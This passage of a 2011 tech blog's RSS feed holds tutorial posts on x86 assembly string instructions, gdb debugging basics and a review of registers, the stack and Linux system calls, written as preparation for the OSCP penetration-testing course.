<h2>The DF flag</h2>
<p><strong>DF</strong> stands for direction flag. This is a flag stored in the CPU that determines whether to increment or decrement a string&#8217;s memory address when string operations are called. When DF is 0 (cleared) the addresses are incremented. When DF is 1 (set) the addresses are decremented. In our examples the DF flag will always be cleared.</p>
<p>The usefulness of the DF flag will make more sense in the examples.</p>
<h3>Clearing the DF flag</h3>
<pre class="brush: plain; gutter: false; title: ; notranslate">cld</pre>
<p>DF is set to 0.  Addresses are incremented where applicable.</p>
<h3>Setting the DF flag</h3>
<pre class="brush: plain; gutter: false; title: ; notranslate">std</pre>
<p>DF is set to 1.  Addresses are decremented where applicable.</p>
<h2>Example code</h2>
<p>In the example below, the following variables have been defined:</p>
<pre class="brush: plain; title: ; notranslate">
.data
	HelloWorldString:
		.asciz &quot;Hello World of Assembly!&quot;

.bss
	.lcomm Destination, 100
</pre>
<h2><strong>movs</strong>: Moving a string from one memory location to another memory location</h2>
<pre class="brush: plain; gutter: false; title: ; notranslate">
source: %esi; should contain a memory address where the data to be copied resides;
	the data at this address is not modified, but the address stored in the %esi register
	is incremented or decremented according to the DF flag
destination: %edi; should contain a memory address where the data will be copied to;
	after copying, the address stored in the %edi register is incremented or decremented
	according to the DF flag
</pre>
<h3>Variations</h3>
<p><strong>movsb:</strong> move a single byte<br />
<strong>movsw:</strong> move 2 bytes<br />
<strong>movsl:</strong> move 4 bytes</p>
<h3>Example</h3>
<pre class="brush: plain; title: Moving strings in assembly using movs; notranslate">
movl $HelloWorldString, %esi
movl $Destination, %edi

movsb
movsw
movsl
</pre>
<p>In this example, we first move the address of <strong>HelloWorldString</strong> into the ESI register (the source string). Then we move the address of <strong>Destination</strong> into EDI (the destination buffer).</p>
<p>When <strong>movsb</strong> is called, it tells the CPU to move 1 byte from the source to the destination, so the &#8216;H&#8217; is copied to the first byte in the Destination label. However, that is not the only thing that happens during this operation. You may have noticed that I pointed out how the address stored in the %esi and %edi registers are both incremented or decremented according to the DF flag. Since the DF flag is cleared, both %esi and %edi are incremented by 1 byte.</p>
<p>But why is this useful? Well, what it means is that the next string operation to be called will start copying from the 2nd byte of the source string instead of the first byte. In other words, rather than copying the &#8216;H&#8217; a second time, we&#8217;ll start by copying the &#8216;e&#8217; in the HelloWorldString instead. This is what makes the <strong>movs</strong> series of operations far more useful than the <strong>mov</strong> operations when dealing with strings.</p>
<p>So, as you might imagine, when calling <strong>movsw</strong> the next 2 bytes are copied and <strong>Destination</strong> now holds &#8220;Hel&#8221;. And finally the <strong>movsl</strong> operation copies 4 bytes into <strong>Destination</strong>, which makes it &#8220;Hello W&#8221;.</p>
<p>Of course, the memory locations held in both %esi and %edi have now been incremented by 7 bytes each. So the final values are..</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
%esi: $HelloWorldString+7
%edi: $Destination+7
HelloWorldString: &quot;Hello World of Assembly!&quot;
Destination: &quot;Hello W&quot;
</pre>
<h2><strong>lods</strong>: Moving a string from a memory location into the EAX register</h2>
<pre class="brush: plain; gutter: false; title: ; notranslate">
source: %esi; should contain a memory address where the data to be copied resides;
	the data at this address is not modified, but the address stored in the %esi register
	is incremented or decremented according to the DF flag
destination: %eax; the contents of this register are discarded because the data is copied
	directly into the register, NOT to any memory address residing in the register; no
	incrementing or decrementing occurs because the destination is a register and not a
	memory location
</pre>
<h3>Variations</h3>
<p><strong>lodsb:</strong> move a single byte<br />
<strong>lodsw:</strong> move 2 bytes<br />
<strong>lodsl:</strong> move 4 bytes</p>
<h2><strong>stos</strong>: Moving a string from the EAX register to a memory location</h2>
<pre class="brush: plain; gutter: false; title: ; notranslate">
source: %eax; the contents of this register are copied, NOT the contents of any memory
	address residing in the register; no incrementing or decrementing occurs because the
	source is a register and not a memory location
destination: %edi; should contain a memory address where the data will be copied to;
	after copying, the address stored in the %edi register is incremented or decremented
	according to the DF flag
</pre>
<h3>Variations</h3>
<p><strong>stosb:</strong> move a single byte<br />
<strong>stosw:</strong> move 2 bytes<br />
<strong>stosl:</strong> move 4 bytes</p>
<h2><strong>rep</strong>: Repeating an operation so you can move strings more easily</h2>
<pre class="brush: plain; gutter: false; title: ; notranslate">rep movsb</pre>
<p>This will continue executing the <strong>movsb</strong> operation and decrementing the ECX register until it equals <strong>0</strong>.  So if you wanted to copy a string in its entirety, you could follow this pseudo-code:</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
* set ESI to the memory address of the source string
* set EDI to the memory address of the destination string
* set ECX to the length of the source string
* clear the DF flag so ESI and EDI will be incremented for each call to movsb
* call rep movsb
</pre>
<h3>Example</h3>
<pre class="brush: plain; title: This will copy HelloWorldString in its entirety into Destination; notranslate">
movl $HelloWorldString, %esi
movl $DestinationUsingRep, %edi
movl $25, %ecx # because HelloWorldString contains 24 characters + a null terminator
cld
rep movsb
</pre>
<p>Here we have <strong>movsb</strong> being called 25 times (the value of ECX).  Because movsb increments both the ESI and EDI register you don&#8217;t have to concern yourself with the memory handling at all.  So at the end of the example, the values are..</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
%esi: $HelloWorldString+25
%edi: $Destination+25
%ecx: 0
DF: 0
HelloWorldString: &quot;Hello World of Assembly!&quot;
Destination: &quot;Hello World of Assembly!&quot;
</pre>
<h1>More to Come</h1>
<p>I hope you enjoyed reviewing data types and <strong>mov</strong> operations. Stay tuned for more assembly tips!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.techblogistech.com/2011/08/data-types-and-moving-data-in-assembly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reviewing Debugging with gdb</title>
		<link>http://www.techblogistech.com/2011/08/reviewing-debugging/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=reviewing-debugging</link>
		<comments>http://www.techblogistech.com/2011/08/reviewing-debugging/#comments</comments>
		<pubDate>Thu, 18 Aug 2011 23:16:41 +0000</pubDate>
		<dc:creator>sean</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[as]]></category>
		<category><![CDATA[assembling]]></category>
		<category><![CDATA[assembly]]></category>
		<category><![CDATA[assembly primer for hackers]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[gas]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[int]]></category>
		<category><![CDATA[ld]]></category>
		<category><![CDATA[linking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[oscp]]></category>
		<category><![CDATA[pentesting with backtrack]]></category>
		<category><![CDATA[registers]]></category>
		<category><![CDATA[stabs]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[toor]]></category>
		<category><![CDATA[variables]]></category>
		<category><![CDATA[virtual memory]]></category>
		<category><![CDATA[vivek ramachandran]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://www.techblogistech.com/?p=465</guid>
		<description><![CDATA[As you may have noticed, I&#8217;m preparing to become an OSCP. In addition to brushing up on assembly, I&#8217;ll also &#8230; <span class="more-link"><a href="http://www.techblogistech.com/2011/08/reviewing-debugging/">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" rel="shadowbox[sbpost-465];player=img;"><img class="lazy alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /><noscript><img class="alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /></noscript></a>As you <a title="Preparing for the OSCP Certification: Installing Backtrack in VirtualBox" href="http://www.techblogistech.com/2011/08/installing-backtrack-in-virtualbox/">may have noticed</a>, I&#8217;m preparing to become an OSCP. In addition to <a title="Preparing for the OSCP Certification: Reviewing Assembly" href="http://www.techblogistech.com/2011/08/reviewing-assembly/">brushing up on assembly</a>, I&#8217;ll also be stepping through the debugger.</p>
<p>Let&#8217;s review <strong>gdb</strong> and go over some tips to make sure the course work becomes smooth sailing. This is primarily an introduction to general use of gdb, but there are a few tips and tricks as well.</p>
<p><span id="more-465"></span></p>
<h1>Introducing gdb</h1>
<h2>Installing gdb</h2>
<p>BackTrack doesn&#8217;t come with <strong>gdb</strong>; I don&#8217;t understand why, but it&#8217;s a Debian distro, so this will install it:</p>
<pre class="bigbash"># apt-get install gdb</pre>
<h2>Loading a program into gdb</h2>
<pre class="bigbash"># gdb ./VariableDemo</pre>
<h2>Debugging symbols</h2>
<p>While plenty of gdb features will work on any executable, many of the <strong>really useful</strong> features require that the executable was <a title="Assembling with Debugging Output" href="http://www.techblogistech.com/2011/08/reviewing-assembly/#assemble-with-debugging">assembled with debugging symbols enabled</a>.</p>
<h2>A note about 32-bit vs 64-bit</h2>
<p>My machine is 64-bit so the example output displayed here is all 64-bit.  You&#8217;ll notice that the registers are <strong>%rax</strong>, <strong>%rbx</strong>, etc. instead of <strong>%eax</strong>, <strong>%ebx</strong>, etc.  This is because <a href="http://www.techblogistech.com/2011/08/reviewing-assembly/#cpu-arch" title="Preparing for the OSCP Certification: Reviewing Assembly">the registers are 64-bit instead of 32-bit</a>, but is generally unimportant in regards to the examples.</p>
<h2>Example assembly program</h3>
<p>The examples shown here were produced using the following assembly language program:</p>
<pre class="brush: plain; title: VariableDemo.s; notranslate"># Demo program using variables in assembly

.data

	HelloWorld:
		.ascii &quot;Hello World!&quot;

	ByteLocation:
		.byte 10

	Int32:
		.int 2
	Int16:
		.short 3
	Float:
		.float 10.23

	IntegerArray:
		.int 10,20,30,40,50

.bss
		.comm LargeBuffer, 10000

.text

	.globl _start

	_start:
		nop

		# call exit(0)
		movl $1, %eax
		movl $0, %ebx
		int $0x80</pre>
<h2>Listing the program code</h2>
<h3>From the current position in the source file (context of what is being executed)</h3>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">list</pre>
<p>If the program is not running, this will list the first 10 lines of code.  If the program is running, this will list the 10 lines surrounding the last line that was executed (in other words, you will see the context in which the program is executing at that time).  This is useful when you&#8217;re <a href="#step" title="Stepping through a program">stepping through a program</a>.  Press [enter] to continue perusing the next 10 lines of code.</p>
<h4>Example</h4>
<pre class="bigbash">
(gdb) list
1	# Demo program using variables in assembly
2
3	.data
4
5		HelloWorld:
6			.ascii "Hello World!"
7
8		ByteLocation:
9			.byte 10
10
</pre>
<h3>A specific line</h3>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">list 20</pre>
<p>This will list the 10 lines of code <strong>surrounding line 20</strong>. In other words, you will see lines 15 through 24. Press [enter] to continue perusing the next 10 lines of code.</p>
<h4>Example</h4>
<pre class="bigbash">
(gdb) list 20
15		Float:
16			.float 10.23
17
18		IntegerArray:
19			.int 10,20,30,40,50
20
21	.bss
22			.comm LargeBuffer, 10000
23
24	.text
</pre>
<h2>Setting a break point</h2>
<h3>By line number</h3>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">break 10</pre>
<h4>Example</h4>
<pre class="bigbash">
(gdb) break 10
Breakpoint 1 at 0x4000b0: file VariableDemo.s, line 10.
</pre>
<p>This will set a break point at line <strong>10</strong>.</p>
<h3>By function name</h3>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">break *_start+1</pre>
<p>This will set a break point at the first line of the <strong>_start</strong> function. The asterisk followed by the method name tells gdb that we are referring to the memory location of that method.</p>
<h4>Example</h4>
<pre class="bigbash">
(gdb) break *_start+1
Breakpoint 1 at 0x4000b1: file VariableDemo.s, line 32.
</pre>
<h2>Running the program</h2>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">run</pre>
<p>The program will execute until it hits a breakpoint, an input operation, an error, or until the program exits.</p>
<h4>Example</h4>
<pre class="bigbash">
(gdb) run
Starting program: /root/assembly/VariableDemo 

Breakpoint 1, _start () at VariableDemo.s:32
32			movl $1, %eax
</pre>
<h2 id="step">Stepping through the program</h2>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">step</pre>
<p>The program will execute until it reaches the next source line; the next source line will also be displayed on screen.  If you step again the source line displayed on screen will execute.  You can also just use <strong>s</strong> for short instead of <strong>step</strong>.</p>
<h4>Example</h4>
<pre class="bigbash">
(gdb) step
33			movl $0, %ebx
</pre>
<h2 id="step">Continuing execution after a breakpoint</h2>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">continue</pre>
<p>The program will continue executing until it reaches a breakpoint, an input operation, an error, or until the program exits.  You can also just use <strong>c</strong> for short instead of <strong>continue</strong>.</p>
<h4>Example</h4>
<pre class="bigbash">
(gdb) continue
Continuing.

Program exited normally.
</pre>
<h2>Listing variables</h2>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">info variables</pre>
<p>Print the variables defined by the program.</p>
<h4>Example</h4>
<pre class="bigbash">
(gdb) info variables
All defined variables:

Non-debugging symbols:
0x00000000006000c0  HelloWorld
0x00000000006000cc  ByteLocation
0x00000000006000cd  Int32
0x00000000006000d1  Int16
0x00000000006000d3  Float
0x00000000006000d7  IntegerArray
0x00000000006000f0  LargeBuffer
</pre>
<h2>Listing registers</h2>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">info registers</pre>
<p>Print the registers defined by the program.</p>
<h4>Example</h4>
<pre class="bigbash">
(gdb) info registers
rax            0x0	0
rbx            0x0	0
rcx            0x0	0
rdx            0x0	0
rsi            0x0	0
rdi            0x0	0
rbp            0x0	0x0
rsp            0x7fffffffe4b0	0x7fffffffe4b0
r8             0x0	0
r9             0x0	0
r10            0x0	0
r11            0x200	512
r12            0x0	0
r13            0x0	0
r14            0x0	0
r15            0x0	0
rip            0x4000b1	0x4000b1 <_start+1>
eflags         0x202	[ IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
</pre>
<h2 id="understanding-examine-memory">Understanding how to examine memory</h2>
<p>When examining memory locations you use the <strong>x</strong> command.  The x command requires the <strong>format</strong> to print the data and the <strong>location</strong> of the data to print.</p>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">x/FMT ADDRESS</pre>
<p>The format includes the data size, data type, and number of objects to print.</p>
<h3>Valid Data Types</h3>
<p>o(octal)<br />
x(hex)<br />
d(decimal)<br />
u(unsigned decimal)<br />
t(binary)<br />
f(float)<br />
a(address)<br />
i(instruction)<br />
c(char)<br />
s(string)</p>
<h3>Valid Data Sizes</h3>
<p>b(byte)<br />
h(halfword, 2 bytes, int16)<br />
w(word, 4 bytes, int32)<br />
g(giant, 8 bytes, int64)</p>
<h2>Examining memory</h2>
<h3>By memory location</h3>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">x/12cb 0x00000000006000c0</pre>
<p>Examine the <strong>12 bytes</strong> at memory location <strong>0x00000000006000c0</strong>. Print the bytes as <strong>char</strong>acters.</p>
<h4>Example</h4>
<pre class="bigbash">
(gdb) x/12cb 0x00000000006000c0
0x6000c0 :	72 'H'	101 'e'	108 'l'	108 'l'	111 'o'	32 ' '	87 'W'	111 'o'
0x6000c8 :	114 'r'	108 'l'	100 'd'	33 '!'
</pre>
<h3>By label name</h3>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">x/5dw &amp;IntegerArray</pre>
<p>Examine the <strong>5 words</strong> at the memory location of label <strong>IntegerArray</strong>. Print the words as <strong>dec</strong>imals (ints).</p>
<h4>Example</h4>
<pre class="bigbash">
(gdb) x/5dw &#038;IntegerArray
0x6000d7 :	10	20	30	40
0x6000e7 :	50
</pre>
<h2>Getting help</h2>
<p>At the <strong>(gdb)</strong> command prompt:</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">help x</pre>
<p>If you forgot <a href="#understanding-examine-memory" title="Understanding how to examine memory">how to examine memory</a>, this would return helpful information for the <strong>x</strong command.</p>
<h4>Example</h4>
<pre class="bigbash">
(gdb) help x
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
  t(binary), f(float), a(address), i(instruction), c(char) and s(string).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.

Defaults for format and size letters are those previously used.
Default count is 1.  Default address is following last thing printed
with this command or "print".
</pre>
<h1>More to Come</h1>
<p>That&#8217;s it for the basics of <strong>gdb</strong>. As I continue to pick up tips I&#8217;ll cover more topics, so expect to see more soon!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.techblogistech.com/2011/08/reviewing-debugging/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reviewing Assembly</title>
		<link>http://www.techblogistech.com/2011/08/reviewing-assembly/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=reviewing-assembly</link>
		<comments>http://www.techblogistech.com/2011/08/reviewing-assembly/#comments</comments>
		<pubDate>Thu, 18 Aug 2011 21:45:20 +0000</pubDate>
		<dc:creator>sean</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[0x80]]></category>
		<category><![CDATA[as]]></category>
		<category><![CDATA[assembling]]></category>
		<category><![CDATA[assembly]]></category>
		<category><![CDATA[assembly primer for hackers]]></category>
		<category><![CDATA[bss]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[exit]]></category>
		<category><![CDATA[gas]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[heap]]></category>
		<category><![CDATA[int]]></category>
		<category><![CDATA[ld]]></category>
		<category><![CDATA[linking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[movl]]></category>
		<category><![CDATA[oscp]]></category>
		<category><![CDATA[pentesting with backtrack]]></category>
		<category><![CDATA[registers]]></category>
		<category><![CDATA[stabs]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[system call]]></category>
		<category><![CDATA[text]]></category>
		<category><![CDATA[virtual memory]]></category>
		<category><![CDATA[vivek ramachandran]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://www.techblogistech.com/?p=406</guid>
		<description><![CDATA[Assembly is a language I&#8217;ve dabbled in for years, but never really pressed myself to become fluent in. I understand &#8230; <span class="more-link"><a href="http://www.techblogistech.com/2011/08/reviewing-assembly/">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" rel="shadowbox[sbpost-406];player=img;"><img class="lazy alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /><noscript><img class="alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /></noscript></a><strong>Assembly</strong> is a language I&#8217;ve dabbled in for years, but never really pressed myself to become fluent in. I understand the basics of memory layout and the general idea of how to program in assembly, but I&#8217;ve never fully applied these skills in the security realm. In preparation for <a title="Pentesting With BackTrack" href="http://www.offensive-security.com/online-information-security-training/penetration-testing-backtrack/">Penetration Testing with BackTrack</a>, I&#8217;ll be reviewing assembly language from the ground up to ensure I&#8217;m at maximum potential going into the study course.</p>
<p>To review assembly I&#8217;ll primarily be following the <a title="Assembly Primer for Hackers" href="http://www.securitytube.net/groups?operation=view&amp;groupId=5" target="_blank">Assembly Primer for Hackers</a> from Vivek Ramachandran of SecurityTube. I&#8217;ve been through several of these lessons before and they&#8217;re very easy to follow for someone who has previous Linux and programming experience but would like a thorough introduction to assembly. What I&#8217;ll be doing here is documenting simple tips that will help me later. Hopefully this will become a useful study guide and cheat-sheet for both assembly and <strong>gdb</strong> (the GNU debugger).</p>
<p><span id="more-406"></span></p>
<h1>Introducing assembly</h1>
<h2 id="cpu-registers">The general purpose CPU registers</h2>
<p>These are the CPU registers and their common uses. Practically you could actually use them to store anything, but these are general guidelines that are commonly followed to make assembly programs easier to follow.<br />
<strong>EAX:</strong> Accumulator registers; used for storing operands and result data<br />
<strong>EBX:</strong> Base register; used as a pointer to data<br />
<strong>ECX:</strong> Counter register; used in loop operations (such as the way <strong>i</strong> is commonly used in C)<br />
<strong>EDX:</strong> Data register; I/O pointer<br />
<strong>ESI:</strong> Data pointer register; used as the source location in memory operations<br />
<strong>EDI:</strong> Data pointer register; used as the destination location in memory operations</p>
<h3>Special Registers</h3>
<p>These are used in relation to the stack and are typically used only for stack operations.<br />
<strong>ESP:</strong> Stack pointer register; points to the top of the stack<br />
<strong>EBP:</strong> Stack base register; points to the base of the stack frame</p>
<h3 id="cpu-arch">8-bit vs 16-bit vs 32-bit vs 64-bit</h3>
<p>The registers listed above don&#8217;t exactly explain the whole story.  While the information above is valid, it only discusses the 32-bit registers.  In reality, you could be using a 64-bit machine which has 64-bit registers.  In the case of 64-bit, the names of the registers are actually <strong>RAX</strong>, <strong>RBX</strong> and so forth instead of <strong>EAX</strong>, <strong>EBX</strong> etc.  However, just because you are using a 64-bit machine does <strong>NOT</strong> mean the 32-bit register names are invalid.  What happens is the CPU simply accesses the <strong>lower</strong> 32 bits of the 64-bit register.  Visually this looks something like this:</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
|63........32|31.................0|
             |EAX.................|
|RAX..............................|
</pre>
<p>So as you can see, EAX and RAX are actually the same register on a 64-bit machine; they access and control the same data, but EAX represents only the contents of the lower 32 bits (0 through 31), while RAX represents the full 64-bit register (0 through 63).  What that means is that if you modify <strong>either</strong> register, you are modifying the other register as well.  They serve different purposes, but they should <strong>not</strong> be considered separate variables.</p>
<p>To continue this concept, when you&#8217;re working with 16-bit integers you can even store them in the lower half of the 32-bit registers as well.  You do this by using <strong>AX</strong>, <strong>BX</strong> and so on, which of course refer to the lower 16 bits of <strong>EAX</strong> and <strong>EBX</strong> respectively.  Furthermore, you can even access both the upper and lower 8 bits of AX by using <strong>AH</strong> for the high bits and <strong>AL</strong> for the low bits.  This, of course, applies to BX and so forth as well.  To demonstrate this visually again, that would look like this:</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
|63........32|31....16|15..8|7...0|
                      |AH...|AL...|
                      |AX.........|
             |EAX.................|
|RAX..............................|
</pre>
<p>In the examples I&#8217;ll primarily be using 32-bit and 16-bit registers, but if you&#8217;re using a 64-bit machine you can access the larger registers as well.  These concepts are important as we&#8217;ll see them in the examples and in some of the output as well since I&#8217;m running a 64-bit machine myself.</p>
<h4>Additional 64-bit registers</h4>
<p>Also, if you&#8217;re running a 64-bit machine you have the <strong>R8</strong>, <strong>R9</strong> .. <strong>R15</strong> registers as well (that&#8217;s 8 additional registers!).  We won&#8217;t be using them in the examples, but for completeness I thought it was worth mentioning.</p>
<h2 id="program-memory">Where a program sits in memory</h2>
<p>The executable code in <strong>.text</strong> is at the lowest memory location, while the <strong>stack</strong> is at the highest memory location. All other data lies between these two locations.</p>
<div class="photocap"><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/program-memory.png" rel="shadowbox[sbpost-406];player=img;"><img class="lazy alignnone size-large wp-image-458" style="border: 1px dotted black;" title="Program Memory" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/program-memory-1024x672.png" alt="Program Memory" width="614" height="403" /><noscript><img class="alignnone size-large wp-image-458" style="border: 1px dotted black;" title="Program Memory" src="http://www.techblogistech.com/wp-content/uploads/2011/08/program-memory-1024x672.png" alt="Program Memory" width="614" height="403" /></noscript></a><br />
An explanation of program memory; photo credit to <a title="Assembly Primer For Hackers (Part 1) System Organization" href="http://www.securitytube.net/video/208" target="_blank">Vivek Ramachandran</a></div>
<p>Keep in mind this is <strong>virtual memory</strong>, not physical memory; every program runs as if it were the only program running on the machine. That&#8217;s why <strong>every</strong> program appears to occupy the lowest and highest memory locations, because the operating system is abstracting the memory layer and handling all that nastiness for us.</p>
<h2 id="the-stack">Understanding the stack</h2>
<p>When discussing <a title="Program Memory" href="#program-memory">program memory</a>, we learned that the <strong>stack</strong> sits in the highest memory location. To complete this concept, let&#8217;s discuss the stack a bit.</p>
<div class="photocap"><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/the-stack.png" rel="shadowbox[sbpost-406];player=img;"><img class="lazy alignnone size-large wp-image-454" style="border: 1px dotted black;" title="The Stack" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/the-stack-1024x591.png" alt="The Stack" width="614" height="355" /><noscript><img class="alignnone size-large wp-image-454" style="border: 1px dotted black;" title="The Stack" src="http://www.techblogistech.com/wp-content/uploads/2011/08/the-stack-1024x591.png" alt="The Stack" width="614" height="355" /></noscript></a><br />
An explanation of the stack; photo credit to <a title="Assembly Primer For Hackers (Part 1) System Organization" href="http://www.securitytube.net/video/208" target="_blank">Vivek Ramachandran</a></div>
<p>The stack is a <a title="LIFO at Wikipedia" href="http://en.wikipedia.org/wiki/LIFO_(computing)" target="_blank">LIFO</a> (last in, first out) data structure that only supports two operations: <strong>push</strong> and <strong>pop</strong>. To add a value to the stack, you <strong>push</strong>; to remove a value from the stack, you <strong>pop</strong>.</p>
<p>One very important characteristic to remember about the stack is that its base sits in the highest memory location. What that means is that when you push a value onto the stack, the top of the stack is at a <strong>lower</strong> memory location than the base (or bottom) of the stack. This may seem like a confusing concept at first, but it&#8217;s important to understand that <strong>the stack grows DOWN</strong>.</p>
<p>Also keep in mind that each time a value is pushed onto or popped off of the stack, the <strong>ESP</strong> register will be adjusted to point to the top of the stack.</p>
<h2 id="simple-assembly-program">Writing a simple assembly program</h2>
<p>Assembly programs are written using labels. The <strong>.text</strong> label defines the program&#8217;s executable code. The <strong>.globl</strong> label specifies a list of the function calls that should be made exportable to other programs (for instance if you were writing a library, the public interface methods would be exposed here). Program execution begins at <strong>_start</strong>, which acts as the <strong>main</strong> subroutine. The <strong>_start</strong> routine should be part of <strong>.globl</strong>.</p>
<pre class="brush: plain; title: JustExit.s: An assembly program that just calls the exit() system call; notranslate">.text

.globl _start

_start:
    # to call exit(), we place 1 into %eax
    movl $1, %eax
    # the exit status will be 0 and it goes into %ebx
    movl $0, %ebx
    # call the system call
    int $0x80</pre>
<p>This example uses a <a title="Understanding System Calls" href="#system-calls">system call</a> to exit the program.</p>
<h2 id="system-calls">Understanding system calls</h2>
<p>In linux, the interrupt vector <strong>$0&#215;80</strong> signals execution to transfer to the kernel entry point <strong>_system_call</strong>. The parameters to _system_call are <strong>%eax</strong> (1) and <strong>%ebx</strong> (0). To visualize this more effectively, you could think of it as if the instructions in <strong>_start</strong> were written more like this:</p>
<pre class="brush: cpp; title: ; notranslate">#define EXIT 1
#define STATUS 0
_system_call(EXIT, STATUS);</pre>
<p>In reality, <strong>_system_call</strong> always reads its values from <a title="General Purpose CPU Registers" href="#cpu-registers">the general purpose CPU registers</a> and can therefore accept a maximum of 6 parameters. The first parameter (stored in %eax) determines what system call should be made. In the <a title="Simple Assembly Program" href="#simple-assembly-program">simple assembly program</a> we specified a value of 1, which corresponds to the <strong>exit</strong> system call.</p>
<p>The interrupt vector to perform a system call is unique to each operating system, just as the system calls themselves are unique to each operating system. Therefore the above code will only run <strong>as designed</strong> on the various linux distributions. Read more about linux system calls at <a title="Linux System Calls at LinuxJournal" href="http://www.linuxjournal.com/article/4048" target="_blank">LinuxJournal</a>.</p>
<h1>Assembling and linking</h1>
<h2>For single-file programs</h2>
<p>To assemble a program into an object file you can use <strong>as</strong> (the GNU assembler) with the <strong>-o</strong> flag to specify the output filename.</p>
<pre class="bash"># as -o JustExit.o JustExit.s</pre>
<p>After assembling, you&#8217;ll need to link the file. Once again the <strong>-o</strong> flag specifies the output filename.</p>
<pre class="bash"># ld -o JustExit JustExit.o</pre>
<p>At this point you should be able to execute the software normally.</p>
<pre class="bash"># ./JustExit</pre>
<h2 id="assemble-with-debugging">Assembling with debugging output</h2>
<p>Oftentimes you want to generate debugging information in the output so that you step through the program more clearly with the debugger. To generate STABS debugging info, use the <strong>-gstabs</strong> flag:</p>
<pre class="bash"># as -gstabs -o JustExit.o JustExit.s</pre>
<h1>More to Come</h1>
<p>This is just the tip of the iceberg.  I&#8217;ll be adding more notes and more articles as I find time.  Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.techblogistech.com/2011/08/reviewing-assembly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing Backtrack in VirtualBox</title>
		<link>http://www.techblogistech.com/2011/08/installing-backtrack-in-virtualbox/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=installing-backtrack-in-virtualbox</link>
